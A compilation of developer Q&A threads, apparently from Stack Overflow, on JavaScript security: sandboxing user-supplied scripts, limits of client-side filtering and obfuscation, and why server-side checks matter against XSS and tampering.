Server-side JavaScript cleanup or sandbox? - javascript

I am looking at allowing users to enter JavaScript to specify some logic in my app. The JavaScript would be entered and displayed in a browser, but it would be saved and validated server-side first.
This opens up obvious security implications.
Ideally, I would want to only allow a subset of the JavaScript language. Intuitively, an opt-in approach - specifying what is allowed, and disallowing everything else - seems more secure than an opt-out approach - specifying what is disallowed.
A lot of the solutions I've seen are client-side - I think a server-side solution makes more sense for my needs, since I can give feedback to the user if the JavaScript is invalid, and only save it on the server once it's "clean".
It would also be useful to put in place something to parse the JavaScript and perform some checks - for example, I would provide some variables to the user, I would want to check that they're not using any uninitialized variables, or that the code returns something in an expected format. A sandbox solution should at the very least not hinder this, but it could potentially actively help - if it works by parsing the code and not just regexps, and I can put my own hooks in to check some syntax.
Google Caja looks like it might do what I want, but I haven't dived into it very much.
What approach would you recommend?
Open-source solutions are great. I don't mind writing my own code, but this seems like a non-trivial problem to solve properly from scratch.

If you don't mind leaving out browsers that don't support web worker threads, you can try JSandbox, which effectively sandboxes execution of JavaScript in "sandbox" worker threads.

Related

Preventing JavaScript 'functions' running on client

Is there some way to prevent certain 'functions' in JavaScript from running on the client. I have concerns that something like Mimikatz that could be run from memory and enable a hacker to compromise a host. Ideally this would detect definable code that is not allowed to run and prevent execution.
There are a few problems with what you're describing. The first is that it's very easy to obfuscate JavaScript. For example, let's say you didn't want the eval function to be executed. It's easy enough to design a regular expression that would remove direct calls to eval. Except what if it's not named eval anymore?
var e = eval;
e('evil');`
You could detect that too, but you end up going down a rabbit hole trying to anticipate obfuscation techniques. If you really want to do this, I suggest starting with a browser plugin like Greasemonkey or Tampermonkey. It's going to be a lot of work and you'll get a lot of false positives.
Another issue is deciding what to block. Depending on implementation, there are only a dozen or so global functions in JavaScript, plus another few dozen global objects. Which will be blocked? None of them are inherently dangerous unless there's a vulnerability in the JavaScript engine or browser. If you're aware a vulnerability, patching is going to be far safer and easier than filtering JavaScript.
The most common way that JavaScript is used in attacks is through cross-site scripting (XSS). The two main approaches are using a malicious script to steal data from the domain, or reformatting the page to prompt the user for sensitive data (usually credentials or payment card numbers). Both techniques use the same JavaScript functions that legitimate pages do, so it's effectively impossible to prevent by analyzing the JavaScript. It is possible to block simple XSS attacks by looking for JavaScript in a request parameter, but browsers already do that.
Your specific example of Mimikatz isn't JavaScript-specific. Mimikatz is a generic tool for post-exploitation. In other words, the attacker must first find a way into your system, then uses Mimikatz to make it easier to stay in and perform mischief. Again, without an initial vulnerability in the JavaScript engine or browser, an attacker won't be able to run something like Mimikatz using JS.
If you're still worried, look at a plugin like NoScript. It supports policies defining which domains can run JavaScript. It's not as granular as you'd like, but it's easy to setup.

Same code for client and server

Is it feasible to have parts of the code shared between webapp's client and server? Assuming I use a javascript-based server, I hope I could have at least form verification code and parts of logic shared.
I worry about incompatibilities between javascript engines, though.
If your code runs on Chrome (V8), it will also run under Node.js (V8) which today, is the #1 choice for server side JavaScript.
Of course you need to make sure that you don't use any Chrome specific stuff, but the same hold true for things that only work Firefox (like noSuchMethod) etc.
But I can't think of any particular things when it comes to form validation that would break cross engine compatibility.
http://jaxer.org/ has some really nice looking examples for sharing code between client and server, as well as manipulating the DOM in both locations. However, this project looks like it may have been abandoned by its creator. Just posting the link because the design concepts might be useful to you when trying to share validation code in both locations.
Engine incompatibility should not extend to data-validation, it should be limited to DOM interaction.
If your javascript engines are so weirdly different that they treat strings and integers and whatnot differently -- stop using them.

Opinions on possible optimization for a web application using javascript

I'm thinking of implementing my web application in a certain way as an optimization, and I'd like to get people's opinions on whether this is a good idea or not.
Here's the details:
For most of my pages, instead of determining server side whether the user is logged in, and then modifying the page I send based on that, I want to send the same page to everyone, this way I can make use of my reverse caching proxy and for most requests not even have to run any dynamic code at all.
The differences that need to be done for logged in users will be done in javascript. The necessary information to make the changes (what their user name is, their user id, and if they are logged in or not) will be stored in a cookie that can be read by javascript.
I don't need to worry about the users not having javascript because my web app requires javascript to be used anyways.
Only the most popular pages that are accessible to both logged in and logged out users will do this.
What do you guys think? Pros/cons? Is this something that websites commonly do?
Doing it for 100% of your application would be a little problematic, however, it sounds like you are seeking to use something called the Model-View-Presenter pattern:
http://en.wikipedia.org/wiki/Model_View_Presenter
Be wary that, when using javascript, your code is exposed, meaning that any security measure taken is potentially hackable through the browser. Add protection on the server side and you are set.
Also, since you are going to rely heavily on javascript, I really recommend you using Mootools, which is an object-oriented approach to javascript. That way you can keep your code really modular, work around messy implementations using custom and class events, etc.
Major con: If you are determining what content a viewer can access with JavaScript alone, it stands to reason that a malicious user can potentially access premium content with just a little glance at your source code.
I'm not sure what you are optimizing really - you need to fetch the user data anyway, and only the server has that. Do you plan on sending an AJAX request requesting for data and using javascript to format it? you are only saving on output generation which is usually not the bottleneck in web application. Much more often the database / IO (files) / network (HTTP requests) are the bottlenecks.
The major con here is that by moving all output generation to javascript, you will increase substantially the download size and reduce overall responsiveness. Since none of the big sites use this approach, you can be sure it doesn't solve scalability problems.

Is there ANY cross-platform way of validating xml against an xsd in javascript?

As far as I can tell, the only way of doing it is to use the Microsoft DOM object, but as far as I'm aware this isn't universally available, if you're browsing with Firefox on Linux for example.
For reasons of security and minimizing network traffic I can't pass the xml to an external tool to validate (much as I wish I could). Is there any way of getting javascript to do this regardless of the browser/platform being used?
Might be a tad late for you but maybe it'll help future searchers:
http://syssgx.github.io/xml.js/
For browsers that provide it, you can use ActiveX and MSXML. This blog provides a tutorial on using it to do validation.
For Mozilla there is SchemaValidation developed as part of the XForms extension.
Beyond that, there was an SO user asking about his own validator. His question and information may be a place to start if you end up going that route.
See also the javascript and xsd tags on SO when used together.
However I'd suggest that you may want to look into an alternative - validating server-side, perhaps, or checking business logic by using XSLT to transform your XML and thereby prove that it meets your needs.
Ok, after a fair amount of research, it seems the simple answer to this one is 'no', unless I write my own validator in javascript.

Security and JavaScript files containing a site's logic

Now that JavaScript libraries like jQuery are more popular than ever, .js files are starting to contain more and more of a site's logic. How and where it pulls data/information from, how that info is processed, etc. This isn't necessarily a bad thing, but I'm wondering to what extend this might be a security concern.
Of course the real processing of data still happens in the backend using PHP or some other language, and it is key that you make sure that nothing unwanted happens at that point. But just by looking at the .js of a site (that relies heavily on e.g. jQuery), it'll tell a person maybe more than you, as a developer, would like. Especially since every browser nowadays comes with a fairly extensive web developer environment or add-on. Even for a novice manipulating the DOM isn't that big of a deal anymore. And once you figure out what code there is, and how you might be able to influence it by editing the DOM, the 'fun' starts.
So my main concerns are:
I don't want everyone to be able to look at a .js file and see exactly (or rather: for a large part) how my site, web app or CMS works — what is there, what it does, how it does it, etc.
I'm worried that by 'unveiling' this information, people who are a lot smarter than I am figure out a way to manipulate the DOM in order to influence JavaScript functions they now know the site uses, possibly bypassing backend checks that I implemented (and thus wrongly assuming they were good enough).
I already use different .js files for different parts of e.g. a web app. But there's always stuff that has to be globally available, and sometimes this contains more than I'd like to be public. And since it's all "out there", who's to say they can't find those other files anyway.
I sometimes see a huge chuck of JavaScript without line breaks and all that. Like the compact jQuery files. I'm sure there are applications or tricks to convert your normal .js file to one long string. But if it can do that, isn't it just as easy to turn it back to something more readable (making it pointless except for saving space)?
Lastly I was thinking about whether it was possible to detect if a request for a .js file comes from the site itself (by including the script in the HTML), instead of a direct download. Maybe by blocking the latter using e.g. Apache's ModRewrite, it's possible to use a .js file in the HTML, but when someone tries to access it, it's blocked.
What are your thoughts about this? Am I overreacting? Should I split my JS as much as possible or just spend more time triple checking (backend) scripts and including more checks to prevent harm-doing? Or are there some best-practices to limit the exposure of JavaScripts and all the info they contain?
Nothing in your JavaScript should be a security risk, if you've set things up right. Attempting to access an AJAX endpoint one finds in a JavaScript file should check the user's permissions and fail if they don't have the right ones.
Having someone view your JavaScript is only a security risk if you're doing something broken like having calls to something like /ajax/secret_endpoint_that_requires_no_authentication.php, in which case your issue isn't insecure JavaScript, it's insecure code.
I sometimes see a huge chuck of JavaScript without line breaks and all that. Like the compact jQuery files. I'm sure there are applications or tricks to convert your normal .js file to one long string. But if it can do that, isn't it just as easy to turn it back to something more readable (making it pointless except for saving space)?
This is generally minification (to reduce bandwidth usage), not obfuscation. It is easily reversible. There are obfuscation techniques that'll make all variable and function names something useless like "aa", "bb", etc., but they're reversible with enough effort.
Lastly I was thinking about whether it was possible to detect if a request for a .js file comes from the site itself (by including the script in the HTML), instead of a direct download. Maybe by blocking the latter using e.g. Apache's ModRewrite, it's possible to use a .js file in the HTML, but when someone tries to access it, it's blocked.
It's possible to do this, but it's easily worked around by any half-competent attacker. Bottom line: nothing you send a non-privileged user's browser should ever be sensitive data.
Of course you should spend more time checking back-end scripts. You have to approach the security problem as if the attacker is one of the key developers on your site, somebody who knows exactly how everything works. Every single URL in your site that does something to your database has to be protected to make sure that every parameter is within allowed constraints: a user can only change their own data, can only make changes within legal ranges, can only change things in a state that allows changes, etc etc etc. None of that has anything at all to do with what your Javascript looks like or whether or not anyone can read it, and jQuery has nothing at all to do with the problem (unless you've done it all wrong).
Remember: an HTTP request to your site can come from anywhere and be initiated by any piece of software in the universe. You have no control over that, and nothing you do to place restrictions on what clients can load what pages will have any effect on that. Don't bother with "REFERER" checks because the values can be faked. Don't rely on data scrubbing routines in your Javascript because those can be bypassed.
Well, you're right to be thinking about this stuff. It's a non-trivial and much misunderstood area of web application development.
In my opinion, the answer is that yes it can create more security issues, simply because (as you point out) the vectors for attack are increased. Fundamentally not much changes from a traditional (non JS) web application and the same best practises and approaches will server you very well. Eg, watching out for SQL injection, buffer overflows, response splitting, etc... You just have more places you need to watch out for it.
In terms of the scripts themselves, the issues around cross-domain security are probably the most prevalent. Research and learn how to avoid XSS attacks in particular, and also CSRF attacks.
JavaScript obfuscation is not typically carried out for security reasons, and you're right that it can be fairly easily reverse engineered. People do it, partially to protect intellectual property, but mainly to make the code download weight smaller.
I'd recommend Christopher Wells book published by O'Reilly called 'Securing Ajax Applications'.
There is free software that does JavaScript Obfuscation. Although there is not security though obscurity. This does not prevent all attacks against your system. It does make it more difficult, but not impossible for other people to rip off your JavaScript and use it.
There is also the issue of client side trust. By having a lot of logic on the client side the client is given the power to choose what it wants to execute. For instance if you are escaping quote marks in JavaScript to protect against SQL Injection. A Hacker is going to write exploit code to build his own HTTP request bypassing the escaping routines altogether.
TamperData and FireBug are commonly used by hackers to gain a deeper understanding of a Web Application.
JavaScript code alone CAN have vulnerabilities in it. A good example is DOM Based XSS. Although I admit this is not a very common type of XSS.
Here's a book by Billy Hoffman about Ajax security:
http://www.amazon.com/Ajax-Security-Billy-Hoffman/dp/0321491939/ref=sr_1_1?ie=UTF8&s=books&qid=1266538410&sr=1-1

Categories

Resources